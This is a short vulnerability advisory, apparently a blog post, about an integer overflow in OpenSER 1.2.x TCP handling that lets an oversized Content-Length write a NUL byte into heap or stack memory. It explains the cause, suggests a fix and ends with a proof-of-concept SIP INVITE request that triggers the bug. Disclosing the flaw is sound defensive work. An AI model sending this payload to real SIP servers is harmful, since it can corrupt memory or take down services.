Out of bound write in OpenSER 1.2.x

»An integer overflow in OpenSER's TCP connection handling code allows for a NUL byte to be written to an attacker controlled location in a 2Gb range of the attacked pointer.

On line tcp_read.c:193, openser will take the user-specified Content-Length header and test it against the remaining bytes read. If the content-length is less than the total bytes read, it will assume that the rest is unneeded and set the integer tracking remaining bytes to the value of the content-length. This value is then used to increment a pointer into the user data. The content-length is stored in a signed 32-bit integer. If a value greater than INT_MAX (>=2^31) is given, it is treated as a negative value. The content-length is always used to increment the pointer and later, a '\0' character is written to the location of the decremented pointer. It is possible to write a 0 to data in the heap or in the stack.
There are many possible fixes for this vulnerability. The simplest of which is to modify the if block in tcp_read_req() where a non-zero content length is checked for. As of this post, most available OpenSER versions have been updated. If you are running an old version, update!
Proof of concept
A sample request may look as follows:
 INVITE sip:root@ SIP/2.0
 Via: SIP/2.0/UDP localhost.localdomain:9090;branch=z9hG4bK00000000001
 From: 0 <sip:user@localhost.localdomain>;tag=0
 To: Receiver <sip:root@>
 Call-ID: 1@localhost.localdomain
 Contact: 0 <sip:user@localhost.localdomain>
 Expires: 1200
 Max-Forwards: 1
 Content-Type: application/sdp
 o=0 0  0 IN IP4 localhost.localdomain
 s=Session SDP
 c=IN IP4
 t=0 0
 m=audio 9876 RTP/AVP 0
 a=rtpmap:0 PCMU/8000
 Content-Length: 4294966690
This work was sponsored by my employer.

This page does not necessarily reflect the views of my employer or anyone I'm associated with.